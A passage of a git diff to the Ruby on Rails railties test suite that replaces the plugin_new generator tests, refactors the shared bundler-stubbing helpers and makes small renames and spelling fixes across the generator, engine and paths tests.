+    FileUtils.cd(Rails.root)
+    run_generator([destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"])
+    assert_file ".gitignore" do |contents|
+      assert_match(/spec\/dummy/, contents)
+    end
+  end
+
+  def test_skipping_test_unit
+    run_generator [destination_root, "--skip-test-unit"]
+    assert_no_file "test"
+    assert_file "bukkits.gemspec" do |contents|
+      assert_no_match(/s.test_files = Dir\["test\/\*\*\/\*"\]/, contents)
+    end
+    assert_file '.gitignore' do |contents|
+      assert_no_match(/test\dummy/, contents)
+    end
+  end
+
+  def test_skipping_gemspec
+    run_generator [destination_root, "--skip-gemspec"]
+    assert_no_file "bukkits.gemspec"
+    assert_file "Gemfile" do |contents|
+      assert_no_match('gemspec', contents)
+      assert_match(/gem "rails", "~> #{Rails.version}"/, contents)
+      assert_match_sqlite3(contents)
+      assert_no_match(/# gem "jquery-rails"/, contents)
+    end
+  end
+
+  def test_skipping_gemspec_in_full_mode
+    run_generator [destination_root, "--skip-gemspec", "--full"]
+    assert_no_file "bukkits.gemspec"
+    assert_file "Gemfile" do |contents|
+      assert_no_match('gemspec', contents)
+      assert_match(/gem "rails", "~> #{Rails.version}"/, contents)
+      assert_match_sqlite3(contents)
+    end
+  end
+
+  def test_creating_plugin_in_app_directory_adds_gemfile_entry
+    # simulate application existence
+    gemfile_path = "#{Rails.root}/Gemfile"
+    Object.const_set('APP_PATH', Rails.root)
+    FileUtils.touch gemfile_path
+
+    run_generator [destination_root]
+
+    assert_file gemfile_path, /gem 'bukkits', path: 'tmp\/bukkits'/
+  ensure
+    Object.send(:remove_const, 'APP_PATH')
+    FileUtils.rm gemfile_path
+  end
+
+  def test_skipping_gemfile_entry
+    # simulate application existence
+    gemfile_path = "#{Rails.root}/Gemfile"
+    Object.const_set('APP_PATH', Rails.root)
+    FileUtils.touch gemfile_path
+
+    run_generator [destination_root, "--skip-gemfile-entry"]
+
+    assert_file gemfile_path do |contents|
+      assert_no_match(/gem 'bukkits', path: 'tmp\/bukkits'/, contents)
+    end
+  ensure
+    Object.send(:remove_const, 'APP_PATH')
+    FileUtils.rm gemfile_path
+  end
+
+
+protected
+  def action(*args, &block)
+    silence(:stdout){ generator.send(*args, &block) }
+  end
+
+  def default_files
+    ::DEFAULT_PLUGIN_FILES
+  end
+
+  def assert_match_sqlite3(contents)
+    unless defined?(JRUBY_VERSION)
+      assert_match(/group :development do\n  gem "sqlite3"\nend/, contents)
+    else
+      assert_match(/group :development do\n  gem "activerecord-jdbcsqlite3-adapter"\nend/, contents)
+    end
+  end
+end
diff --git a/railties/test/generators/plugin_new_generator_test.rb b/railties/test/generators/plugin_new_generator_test.rb
deleted file mode 100644
index ac71fb5..0000000
--- a/railties/test/generators/plugin_new_generator_test.rb
+++ /dev/null
@@ -1,350 +0,0 @@
-require 'generators/generators_test_helper'
-require 'rails/generators/rails/plugin_new/plugin_new_generator'
-require 'generators/shared_generator_tests'
-
-DEFAULT_PLUGIN_FILES = %w(
-  .gitignore
-  Gemfile
-  Rakefile
-  README.rdoc
-  bukkits.gemspec
-  MIT-LICENSE
-  lib
-  lib/bukkits.rb
-  lib/tasks/bukkits_tasks.rake
-  lib/bukkits/version.rb
-  test/bukkits_test.rb
-  test/test_helper.rb
-  test/dummy
-)
-
-class PluginNewGeneratorTest < Rails::Generators::TestCase
-  include GeneratorsTestHelper
-  destination File.join(Rails.root, "tmp/bukkits")
-  arguments [destination_root]
-
-  # brings setup, teardown, and some tests
-  include SharedGeneratorTests
-
-  def test_invalid_plugin_name_raises_an_error
-    content = capture(:stderr){ run_generator [File.join(destination_root, "things-43")] }
-    assert_equal "Invalid plugin name things-43. Please give a name which use only alphabetic or numeric or \"_\" characters.\n", content
-
-    content = capture(:stderr){ run_generator [File.join(destination_root, "things4.3")] }
-    assert_equal "Invalid plugin name things4.3. Please give a name which use only alphabetic or numeric or \"_\" characters.\n", content
-
-    content = capture(:stderr){ run_generator [File.join(destination_root, "43things")] }
-    assert_equal "Invalid plugin name 43things. Please give a name which does not start with numbers.\n", content
-  end
-
-  def test_camelcase_plugin_name_underscores_filenames
-    run_generator [File.join(destination_root, "CamelCasedName")]
-    assert_no_file "CamelCasedName/lib/CamelCasedName.rb"
-    assert_file "CamelCasedName/lib/camel_cased_name.rb", /module CamelCasedName/
-  end
-
-  def test_generating_without_options
-    run_generator
-    assert_file "README.rdoc", /Bukkits/
-    assert_no_file "config/routes.rb"
-    assert_file "test/test_helper.rb"
-    assert_file "test/bukkits_test.rb", /assert_kind_of Module, Bukkits/
-  end
-
-  def test_generating_test_files_in_full_mode
-    run_generator [destination_root, "--full"]
-    assert_directory "test/integration/"
-
-    assert_file "test/integration/navigation_test.rb", /ActionDispatch::IntegrationTest/
-  end
-
-  def test_generating_test_files_in_full_mode_without_unit_test_files
-    run_generator [destination_root, "-T", "--full"]
-
-    assert_no_directory "test/integration/"
-    assert_no_file "test"
-    assert_file "Rakefile" do |contents|
-      assert_no_match(/APP_RAKEFILE/, contents)
-    end
-  end
-
-  def test_generating_adds_dummy_app_rake_tasks_without_unit_test_files
-    run_generator [destination_root, "-T", "--mountable", '--dummy-path', 'my_dummy_app']
-    assert_file "Rakefile", /APP_RAKEFILE/
-  end
-
-  def test_generating_adds_dummy_app_without_javascript_and_assets_deps
-    run_generator [destination_root]
-
-    assert_file "test/dummy/app/assets/stylesheets/application.css"
-
-    assert_file "test/dummy/app/assets/javascripts/application.js" do |contents|
-      assert_no_match(/jquery/, contents)
-    end
-  end
-
-  def test_ensure_that_plugin_options_are_not_passed_to_app_generator
-    FileUtils.cd(Rails.root)
-    assert_no_match(/It works from file!.*It works_from_file/, run_generator([destination_root, "-m", "lib/template.rb"]))
-  end
-
-  def test_ensure_that_test_dummy_can_be_generated_from_a_template
-    FileUtils.cd(Rails.root)
-    run_generator([destination_root, "-m", "lib/create_test_dummy_template.rb", "--skip-test-unit"])
-    assert_file "spec/dummy"
-    assert_no_file "test"
-  end
-
-  def test_database_entry_is_generated_for_sqlite3_by_default_in_full_mode
-    run_generator([destination_root, "--full"])
-    assert_file "test/dummy/config/database.yml", /sqlite/
-    assert_file "bukkits.gemspec", /sqlite3/
-  end
-
-  def test_config_another_database
-    run_generator([destination_root, "-d", "mysql", "--full"])
-    assert_file "test/dummy/config/database.yml", /mysql/
-    assert_file "bukkits.gemspec", /mysql/
-  end
-
-  def test_dont_generate_development_dependency
-    run_generator [destination_root, "--skip-active-record"]
-
-    assert_file "bukkits.gemspec" do |contents|
-      assert_no_match(/s.add_development_dependency "sqlite3"/, contents)
-    end
-  end
-
-  def test_active_record_is_removed_from_frameworks_if_skip_active_record_is_given
-    run_generator [destination_root, "--skip-active-record"]
-    assert_file "test/dummy/config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
-  end
-
-  def test_ensure_that_skip_active_record_option_is_passed_to_app_generator
-    run_generator [destination_root, "--skip_active_record"]
-    assert_no_file "test/dummy/config/database.yml"
-    assert_file "test/test_helper.rb" do |contents|
-      assert_no_match(/ActiveRecord/, contents)
-    end
-  end
-
-  def test_ensure_that_database_option_is_passed_to_app_generator
-    run_generator [destination_root, "--database", "postgresql"]
-    assert_file "test/dummy/config/database.yml", /postgres/
-  end
-
-  def test_generation_runs_bundle_install_with_full_and_mountable
-    result = run_generator [destination_root, "--mountable", "--full", "--dev"]
-    assert_file "#{destination_root}/Gemfile.lock" do |contents|
-      assert_match(/bukkits/, contents)
-    end
-    assert_match(/run  bundle install/, result)
-    assert_match(/Using bukkits \(0\.0\.1\)/, result)
-    assert_match(/Your bundle is complete/, result)
-    assert_equal 1, result.scan("Your bundle is complete").size
-  end
-
-  def test_skipping_javascripts_without_mountable_option
-    run_generator
-    assert_no_file "app/assets/javascripts/bukkits/application.js"
-  end
-
-  def test_javascripts_generation
-    run_generator [destination_root, "--mountable"]
-    assert_file "app/assets/javascripts/bukkits/application.js"
-  end
-
-  def test_skip_javascripts
-    run_generator [destination_root, "--skip-javascript", "--mountable"]
-    assert_no_file "app/assets/javascripts/bukkits/application.js"
-  end
-
-  def test_template_from_dir_pwd
-    FileUtils.cd(Rails.root)
-    assert_match(/It works from file!/, run_generator([destination_root, "-m", "lib/template.rb"]))
-  end
-
-  def test_ensure_that_tests_work
-    run_generator
-    FileUtils.cd destination_root
-    quietly { system 'bundle install' }
-    assert_match(/1 tests, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test`)
-  end
-
-  def test_ensure_that_tests_works_in_full_mode
-    run_generator [destination_root, "--full", "--skip_active_record"]
-    FileUtils.cd destination_root
-    quietly { system 'bundle install' }
-    assert_match(/1 tests, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test`)
-  end
-
-  def test_ensure_that_migration_tasks_work_with_mountable_option
-    run_generator [destination_root, "--mountable"]
-    FileUtils.cd destination_root
-    quietly { system 'bundle install' }
-    `bundle exec rake db:migrate`
-    assert_equal 0, $?.exitstatus
-  end
-
-  def test_creating_engine_in_full_mode
-    run_generator [destination_root, "--full"]
-    assert_file "app/assets/javascripts/bukkits"
-    assert_file "app/assets/stylesheets/bukkits"
-    assert_file "app/assets/images/bukkits"
-    assert_file "app/models"
-    assert_file "app/controllers"
-    assert_file "app/views"
-    assert_file "app/helpers"
-    assert_file "app/mailers"
-    assert_file "bin/rails"
-    assert_file "config/routes.rb", /Rails.application.routes.draw do/
-    assert_file "lib/bukkits/engine.rb", /module Bukkits\n  class Engine < ::Rails::Engine\n  end\nend/
-    assert_file "lib/bukkits.rb", /require "bukkits\/engine"/
-  end
-
-  def test_being_quiet_while_creating_dummy_application
-    assert_no_match(/create\s+config\/application.rb/, run_generator)
-  end
-
-  def test_create_mountable_application_with_mountable_option
-    run_generator [destination_root, "--mountable"]
-    assert_file "app/assets/javascripts/bukkits"
-    assert_file "app/assets/stylesheets/bukkits"
-    assert_file "app/assets/images/bukkits"
-    assert_file "config/routes.rb", /Bukkits::Engine.routes.draw do/
-    assert_file "lib/bukkits/engine.rb", /isolate_namespace Bukkits/
-    assert_file "test/dummy/config/routes.rb", /mount Bukkits::Engine => "\/bukkits"/
-    assert_file "app/controllers/bukkits/application_controller.rb", /module Bukkits\n  class ApplicationController < ActionController::Base/
-    assert_file "app/helpers/bukkits/application_helper.rb", /module Bukkits\n  module ApplicationHelper/
-    assert_file "app/views/layouts/bukkits/application.html.erb" do |contents|
-      assert_match "<title>Bukkits</title>", contents
-      assert_match(/stylesheet_link_tag\s+['"]bukkits\/application['"]/, contents)
-      assert_match(/javascript_include_tag\s+['"]bukkits\/application['"]/, contents)
-    end
-  end
-
-  def test_creating_gemspec
-    run_generator
-    assert_file "bukkits.gemspec", /s.name\s+= "bukkits"/
-    assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*", "MIT-LICENSE", "Rakefile", "README\.rdoc"\]/
-    assert_file "bukkits.gemspec", /s.test_files = Dir\["test\/\*\*\/\*"\]/
-    assert_file "bukkits.gemspec", /s.version\s+ = Bukkits::VERSION/
-  end
-
-  def test_usage_of_engine_commands
-    run_generator [destination_root, "--full"]
-    assert_file "bin/rails", /ENGINE_PATH = File.expand_path\('..\/..\/lib\/bukkits\/engine', __FILE__\)/
-    assert_file "bin/rails", /ENGINE_ROOT = File.expand_path\('..\/..', __FILE__\)/
-    assert_file "bin/rails", /require 'rails\/all'/
-    assert_file "bin/rails", /require 'rails\/engine\/commands'/
-  end
-
-  def test_shebang
-    run_generator [destination_root, "--full"]
-    assert_file "bin/rails", /#!\/usr\/bin\/env ruby/
-  end
-
-  def test_passing_dummy_path_as_a_parameter
-    run_generator [destination_root, "--dummy_path", "spec/dummy"]
-    assert_file "spec/dummy"
-    assert_file "spec/dummy/config/application.rb"
-    assert_no_file "test/dummy"
-  end
-
-  def test_creating_dummy_application_with_different_name
-    run_generator [destination_root, "--dummy_path", "spec/fake"]
-    assert_file "spec/fake"
-    assert_file "spec/fake/config/application.rb"
-    assert_no_file "test/dummy"
-  end
-
-  def test_creating_dummy_without_tests_but_with_dummy_path
-    run_generator [destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"]
-    assert_file "spec/dummy"
-    assert_file "spec/dummy/config/application.rb"
-    assert_no_file "test"
-    assert_file '.gitignore' do |contents|
-      assert_match(/spec\/dummy/, contents)
-    end
-  end
-
-  def test_ensure_that_gitignore_can_be_generated_from_a_template_for_dummy_path
-    FileUtils.cd(Rails.root)
-    run_generator([destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"])
-    assert_file ".gitignore" do |contents|
-      assert_match(/spec\/dummy/, contents)
-    end
-  end
-
-  def test_skipping_test_unit
-    run_generator [destination_root, "--skip-test-unit"]
-    assert_no_file "test"
-    assert_file "bukkits.gemspec" do |contents|
-      assert_no_match(/s.test_files = Dir\["test\/\*\*\/\*"\]/, contents)
-    end
-    assert_file '.gitignore' do |contents|
-      assert_no_match(/test\dummy/, contents)
-    end
-  end
-
-  def test_skipping_gemspec
-    run_generator [destination_root, "--skip-gemspec"]
-    assert_no_file "bukkits.gemspec"
-    assert_file "Gemfile" do |contents|
-      assert_no_match('gemspec', contents)
-      assert_match(/gem "rails", "~> #{Rails.version}"/, contents)
-      assert_match(/group :development do\n  gem "sqlite3"\nend/, contents)
-      assert_no_match(/# gem "jquery-rails"/, contents)
-    end
-  end
-
-  def test_skipping_gemspec_in_full_mode
-    run_generator [destination_root, "--skip-gemspec", "--full"]
-    assert_no_file "bukkits.gemspec"
-    assert_file "Gemfile" do |contents|
-      assert_no_match('gemspec', contents)
-      assert_match(/gem "rails", "~> #{Rails.version}"/, contents)
-      assert_match(/group :development do\n  gem "sqlite3"\nend/, contents)
-    end
-  end
-
-  def test_creating_plugin_in_app_directory_adds_gemfile_entry
-    # simulate application existance
-    gemfile_path = "#{Rails.root}/Gemfile"
-    Object.const_set('APP_PATH', Rails.root)
-    FileUtils.touch gemfile_path
-
-    run_generator [destination_root]
-
-    assert_file gemfile_path, /gem 'bukkits', path: 'tmp\/bukkits'/
-  ensure
-    Object.send(:remove_const, 'APP_PATH')
-    FileUtils.rm gemfile_path
-  end
-
-  def test_skipping_gemfile_entry
-    # simulate application existance
-    gemfile_path = "#{Rails.root}/Gemfile"
-    Object.const_set('APP_PATH', Rails.root)
-    FileUtils.touch gemfile_path
-
-    run_generator [destination_root, "--skip-gemfile-entry"]
-
-    assert_file gemfile_path do |contents|
-      assert_no_match(/gem 'bukkits', path: 'tmp\/bukkits'/, contents)
-    end
-  ensure
-    Object.send(:remove_const, 'APP_PATH')
-    FileUtils.rm gemfile_path
-  end
-
-
-protected
-  def action(*args, &block)
-    silence(:stdout){ generator.send(*args, &block) }
-  end
-
-  def default_files
-    ::DEFAULT_PLUGIN_FILES
-  end
-end
diff --git a/railties/test/generators/scaffold_controller_generator_test.rb b/railties/test/generators/scaffold_controller_generator_test.rb
index 013cb78..3c1123b 100644
--- a/railties/test/generators/scaffold_controller_generator_test.rb
+++ b/railties/test/generators/scaffold_controller_generator_test.rb
@@ -160,10 +160,12 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
     Unknown::Generators.send :remove_const, :ActiveModel
   end
 
-  def test_new_hash_style
-    run_generator
-    assert_file "app/controllers/users_controller.rb" do |content|
-      assert_match(/render action: 'new'/, content)
+  def test_model_name_option
+    run_generator ["Admin::User", "--model-name=User"]
+    assert_file "app/controllers/admin/users_controller.rb" do |content|
+      assert_instance_method :index, content do |m|
+        assert_match("@users = User.all", m)
+      end
     end
   end
 end
diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb
index 2724882..4f92678 100644
--- a/railties/test/generators/shared_generator_tests.rb
+++ b/railties/test/generators/shared_generator_tests.rb
@@ -26,11 +26,17 @@ module SharedGeneratorTests
     default_files.each { |path| assert_file path }
   end
 
-  def test_generation_runs_bundle_install
-    generator([destination_root]).expects(:bundle_command).with('install').once
+  def assert_generates_with_bundler(options = {})
+    generator([destination_root], options)
+    generator.expects(:bundle_command).with('install').once
+    generator.stubs(:bundle_command).with('exec spring binstub --all')
     quietly { generator.invoke_all }
   end
 
+  def test_generation_runs_bundle_install
+    assert_generates_with_bundler
+  end
+
   def test_plugin_new_generate_pretend
     run_generator ["testapp", "--pretend"]
     default_files.each{ |path| assert_no_file File.join("testapp",path) }
@@ -46,11 +52,6 @@ module SharedGeneratorTests
     assert_no_file "test"
   end
 
-  def test_options_before_application_name_raises_an_error
-    content = capture(:stderr){ run_generator(["--pretend", destination_root]) }
-    assert_match(/Options should be given after the \w+ name. For details run: rails( plugin new)? --help\n/, content)
-  end
-
   def test_name_collision_raises_an_error
     reserved_words = %w[application destroy plugin runner test]
     reserved_words.each do |reserved|
@@ -77,9 +78,9 @@ module SharedGeneratorTests
   end
 
   def test_template_raises_an_error_with_invalid_path
-    content = capture(:stderr){ run_generator([destination_root, "-m", "non/existant/path"]) }
+    content = capture(:stderr){ run_generator([destination_root, "-m", "non/existent/path"]) }
     assert_match(/The template \[.*\] could not be loaded/, content)
-    assert_match(/non\/existant\/path/, content)
+    assert_match(/non\/existent\/path/, content)
   end
 
   def test_template_is_executed_when_supplied
@@ -101,16 +102,15 @@ module SharedGeneratorTests
   end
 
   def test_dev_option
-    generator([destination_root], dev: true).expects(:bundle_command).with('install').once
-    quietly { generator.invoke_all }
+    assert_generates_with_bundler dev: true
     rails_path = File.expand_path('../../..', Rails.root)
     assert_file 'Gemfile', /^gem\s+["']rails["'],\s+path:\s+["']#{Regexp.escape(rails_path)}["']$/
+    assert_file 'Gemfile', %r{^gem\s+["']arel["'],\s+github:\s+["']#{Regexp.escape("rails/arel")}["'],\s+branch:\s+["']#{Regexp.escape("5-0-stable")}["']$}
   end
 
   def test_edge_option
-    generator([destination_root], edge: true).expects(:bundle_command).with('install').once
-    quietly { generator.invoke_all }
-    assert_file 'Gemfile', %r{^gem\s+["']rails["'],\s+github:\s+["']#{Regexp.escape("rails/rails")}["']$}
+    assert_generates_with_bundler edge: true
+    assert_file 'Gemfile', %r{^gem\s+["']rails["'],\s+github:\s+["']#{Regexp.escape("rails/rails")}["'],\s+branch:\s+["']#{Regexp.escape("4-1-stable")}["']$}
   end
 
   def test_skip_gemfile
diff --git a/railties/test/generators/task_generator_test.rb b/railties/test/generators/task_generator_test.rb
index 9399be9..d5bd44b 100644
--- a/railties/test/generators/task_generator_test.rb
+++ b/railties/test/generators/task_generator_test.rb
@@ -7,6 +7,18 @@ class TaskGeneratorTest < Rails::Generators::TestCase
 
   def test_task_is_created
     run_generator
-    assert_file "lib/tasks/feeds.rake", /namespace :feeds/
+    assert_file "lib/tasks/feeds.rake" do |content|
+      assert_match(/namespace :feeds/, content)
+      assert_match(/task foo:/, content)
+      assert_match(/task bar:/, content)
+    end
+  end
+
+  def test_task_on_revoke
+    task_path = 'lib/tasks/feeds.rake'
+    run_generator
+    assert_file task_path
+    run_generator ['feeds'], behavior: :revoke
+    assert_no_file task_path
   end
 end
diff --git a/railties/test/generators_test.rb b/railties/test/generators_test.rb
index 361784f..eac28ba 100644
--- a/railties/test/generators_test.rb
+++ b/railties/test/generators_test.rb
@@ -15,7 +15,7 @@ class GeneratorsTest < Rails::Generators::TestCase
   end
 
   def test_simple_invoke
-    assert File.exists?(File.join(@path, 'generators', 'model_generator.rb'))
+    assert File.exist?(File.join(@path, 'generators', 'model_generator.rb'))
     TestUnit::Generators::ModelGenerator.expects(:start).with(["Account"], {})
     Rails::Generators.invoke("test_unit:model", ["Account"])
   end
@@ -31,7 +31,7 @@ class GeneratorsTest < Rails::Generators::TestCase
   end
 
   def test_should_give_higher_preference_to_rails_generators
-    assert File.exists?(File.join(@path, 'generators', 'model_generator.rb'))
+    assert File.exist?(File.join(@path, 'generators', 'model_generator.rb'))
     Rails::Generators::ModelGenerator.expects(:start).with(["Account"], {})
     warnings = capture(:stderr){ Rails::Generators.invoke :model, ["Account"] }
     assert warnings.empty?
@@ -106,7 +106,7 @@ class GeneratorsTest < Rails::Generators::TestCase
   def test_rails_generators_help_does_not_include_app_nor_plugin_new
     output = capture(:stdout){ Rails::Generators.help }
     assert_no_match(/app/, output)
-    assert_no_match(/plugin_new/, output)
+    assert_no_match(/[^:]plugin/, output)
   end
 
   def test_rails_generators_with_others_information
diff --git a/railties/test/initializable_test.rb b/railties/test/initializable_test.rb
index 16e259b..ed95734 100644
--- a/railties/test/initializable_test.rb
+++ b/railties/test/initializable_test.rb
@@ -20,14 +20,6 @@ module InitializableTests
     end
   end
 
-  module Word
-    include Rails::Initializable
-
-    initializer :word do
-      $word = "bird"
-    end
-  end
-
   class Parent
     include Rails::Initializable
 
@@ -235,4 +227,4 @@ module InitializableTests
       assert_equal [1, 2, 3, 4], $arr
     end
   end
-end
\ No newline at end of file
+end
diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb
index 68d96ba..6c50911 100644
--- a/railties/test/isolation/abstract_unit.rb
+++ b/railties/test/isolation/abstract_unit.rb
@@ -93,7 +93,8 @@ module TestHelpers
     # Build an application by invoking the generator and going through the whole stack.
     def build_app(options = {})
       @prev_rails_env = ENV['RAILS_ENV']
-      ENV['RAILS_ENV'] = 'development'
+      ENV['RAILS_ENV']       =   "development"
+      ENV['SECRET_KEY_BASE'] ||= SecureRandom.hex(16)
 
       FileUtils.rm_rf(app_path)
       FileUtils.cp_r(app_template_path, app_path)
@@ -117,9 +118,26 @@ module TestHelpers
         end
       end
 
+      File.open("#{app_path}/config/database.yml", "w") do |f|
+        f.puts <<-YAML
+        default: &default
+          adapter: sqlite3
+          pool: 5
+          timeout: 5000
+        development:
+          <<: *default
+          database: db/development.sqlite3
+        test:
+          <<: *default
+          database: db/test.sqlite3
+        production:
+          <<: *default
+          database: db/production.sqlite3
+        YAML
+      end
+
       add_to_config <<-RUBY
         config.eager_load = false
-        config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
         config.session_store :cookie_store, key: "_myapp_session"
         config.active_support.deprecation = :log
         config.action_controller.allow_forgery_protection = false
@@ -135,10 +153,11 @@ module TestHelpers
     def make_basic_app
       require "rails"
       require "action_controller/railtie"
+      require "action_view/railtie"
 
       app = Class.new(Rails::Application)
       app.config.eager_load = false
-      app.config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
+      app.secrets.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
       app.config.session_store :cookie_store, key: "_myapp_session"
       app.config.active_support.deprecation = :log
 
@@ -163,7 +182,7 @@ module TestHelpers
       RUBY
 
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get ':controller(/:action)'
         end
       RUBY
@@ -242,6 +261,12 @@ module TestHelpers
       end
     end
 
+    def gsub_app_file(path, regexp, *args, &block)
+      path = "#{app_path}/#{path}"
+      content = File.read(path).gsub(regexp, *args, &block)
+      File.open(path, 'wb') { |f| f.write(content) }
+    end
+
     def remove_file(path)
       FileUtils.rm_rf "#{app_path}/#{path}"
     end
diff --git a/railties/test/paths_test.rb b/railties/test/paths_test.rb
index 12f18b9..ed4559e 100644
--- a/railties/test/paths_test.rb
+++ b/railties/test/paths_test.rb
@@ -3,7 +3,7 @@ require 'rails/paths'
 
 class PathsTest < ActiveSupport::TestCase
   def setup
-    File.stubs(:exists?).returns(true)
+    File.stubs(:exist?).returns(true)
     @root = Rails::Paths::Root.new("/foo/bar")
   end
 
@@ -180,7 +180,7 @@ class PathsTest < ActiveSupport::TestCase
     assert_equal 1, @root.eager_load.select {|p| p == @root["app"].expanded.first }.size
   end
 
-  test "paths added to a eager_load path should be added to the eager_load collection" do
+  test "paths added to an eager_load path should be added to the eager_load collection" do
     @root["app"] = "/app"
     @root["app"].eager_load!
     @root["app"] << "/app2"
diff --git a/railties/test/rack_logger_test.rb b/railties/test/rack_logger_test.rb
index cfd2c5b..6ebd47f 100644
--- a/railties/test/rack_logger_test.rb
+++ b/railties/test/rack_logger_test.rb
@@ -1,3 +1,4 @@
+require 'abstract_unit'
 require 'active_support/testing/autorun'
 require 'active_support/test_case'
 require 'rails/rack/logger'
@@ -56,11 +57,14 @@ module Rails
       end
 
       def test_notification_on_raise
-        logger = TestLogger.new { raise }
+        logger = TestLogger.new do
+          # using an exception class that is not a StandardError subclass on purpose
+          raise NotImplementedError
+        end
 
         assert_difference('subscriber.starts.length') do
           assert_difference('subscriber.finishes.length') do
-            assert_raises(RuntimeError) do
+            assert_raises(NotImplementedError) do
               logger.call 'REQUEST_METHOD' => 'GET'
             end
           end
diff --git a/railties/test/rails_info_test.rb b/railties/test/rails_info_test.rb
index 5b9088c..44a5fd1 100644
--- a/railties/test/rails_info_test.rb
+++ b/railties/test/rails_info_test.rb
@@ -37,6 +37,11 @@ class InfoTest < ActiveSupport::TestCase
     assert_property 'Goodbye', 'World'
   end
 
+  def test_rails_version
+    assert_property 'Rails version', 
+      File.read(File.realpath('../../../RAILS_VERSION', __FILE__)).chomp
+  end
+
   def test_framework_version
     assert_property 'Active Support version', ActiveSupport.version.to_s
   end
diff --git a/railties/test/railties/engine_test.rb b/railties/test/railties/engine_test.rb
index 01fa2c6..c4b18e9 100644
--- a/railties/test/railties/engine_test.rb
+++ b/railties/test/railties/engine_test.rb
@@ -90,8 +90,8 @@ module RailtiesTest
       Dir.chdir(app_path) do
         output = `bundle exec rake bukkits:install:migrations`
 
-        assert File.exists?("#{app_path}/db/migrate/2_create_users.bukkits.rb")
-        assert File.exists?("#{app_path}/db/migrate/3_add_last_name_to_users.bukkits.rb")
+        assert File.exist?("#{app_path}/db/migrate/2_create_users.bukkits.rb")
+        assert File.exist?("#{app_path}/db/migrate/3_add_last_name_to_users.bukkits.rb")
         assert_match(/Copied migration 2_create_users.bukkits.rb from bukkits/, output)
         assert_match(/Copied migration 3_add_last_name_to_users.bukkits.rb from bukkits/, output)
         assert_match(/NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output)
@@ -136,7 +136,7 @@ module RailtiesTest
 
       Dir.chdir(@plugin.path) do
         output = `bundle exec rake app:bukkits:install:migrations`
-        assert File.exists?("#{app_path}/db/migrate/0_add_first_name_to_users.bukkits.rb")
+        assert File.exist?("#{app_path}/db/migrate/0_add_first_name_to_users.bukkits.rb")
         assert_match(/Copied migration 0_add_first_name_to_users.bukkits.rb from bukkits/, output)
         assert_equal 1, Dir["#{app_path}/db/migrate/*.rb"].length
       end
@@ -270,7 +270,7 @@ module RailtiesTest
       RUBY
 
       app_file "config/routes.rb", <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get 'foo', :to => 'foo#index'
         end
       RUBY
@@ -345,7 +345,7 @@ YAML
         #{RAILS_FRAMEWORK_ROOT}/activesupport/lib/active_support/locale/en.yml
         #{RAILS_FRAMEWORK_ROOT}/activemodel/lib/active_model/locale/en.yml
         #{RAILS_FRAMEWORK_ROOT}/activerecord/lib/active_record/locale/en.yml
-        #{RAILS_FRAMEWORK_ROOT}/actionpack/lib/action_view/locale/en.yml
+        #{RAILS_FRAMEWORK_ROOT}/actionview/lib/action_view/locale/en.yml
         #{@plugin.path}/config/locales/en.yml
         #{app_path}/config/locales/en.yml
         #{app_path}/app/locales/en.yml
@@ -399,7 +399,7 @@ YAML
       assert $plugin_initializer
     end
 
-    test "midleware referenced in configuration" do
+    test "middleware referenced in configuration" do
       @plugin.write "lib/bukkits.rb", <<-RUBY
         class Bukkits
           def initialize(app)
@@ -416,11 +416,6 @@ YAML
       boot_rails
     end
 
-    test "Rails::Engine itself does not respond to config" do
-      boot_rails
-      assert !Rails::Engine.respond_to?(:config)
-    end
-
     test "initializers are executed after application configuration initializers" do
       @plugin.write "lib/bukkits.rb", <<-RUBY
         module Bukkits
@@ -472,7 +467,7 @@ YAML
       RUBY
 
       app_file "config/routes.rb", <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           mount(Bukkits::Engine => "/bukkits")
         end
       RUBY
@@ -607,7 +602,7 @@ YAML
       RUBY
 
       app_file "config/routes.rb", <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get "/bar" => "bar#index", as: "bar"
           mount Bukkits::Engine => "/bukkits", as: "bukkits"
         end
@@ -725,7 +720,7 @@ YAML
       RUBY
 
       app_file "config/routes.rb", <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           mount Bukkits::Engine => "/bukkits", as: "bukkits"
         end
       RUBY
@@ -769,7 +764,7 @@ YAML
       RUBY
 
       app_file "config/routes.rb", <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           mount Bukkits::Awesome::Engine => "/bukkits", :as => "bukkits"
         end
       RUBY
@@ -833,7 +828,7 @@ YAML
       add_to_config "isolate_namespace AppTemplate"
 
       app_file "config/routes.rb", <<-RUBY
-        AppTemplate::Application.routes.draw do end
+        Rails.application.routes.draw do end
       RUBY
 
       boot_rails
@@ -1211,7 +1206,7 @@ YAML
       RUBY
 
       app_file "config/routes.rb", <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get '/bar' => 'bar#index', :as => 'bar'
           mount Bukkits::Engine => "/bukkits", :as => "bukkits"
         end
@@ -1241,12 +1236,6 @@ YAML
       assert_equal '/foo/bukkits/bukkit', last_response.body
     end
 
-    test "engines method is properly deprecated" do
-      boot_rails
-
-      assert_deprecated { app.railties.engines }
-    end
-
   private
     def app
       Rails.application
diff --git a/railties/test/railties/mounted_engine_test.rb b/railties/test/railties/mounted_engine_test.rb
index c94937f..0ef2ff2 100644
--- a/railties/test/railties/mounted_engine_test.rb
+++ b/railties/test/railties/mounted_engine_test.rb
@@ -16,7 +16,7 @@ module ApplicationTests
       @metrics_plugin = engine "metrics"
 
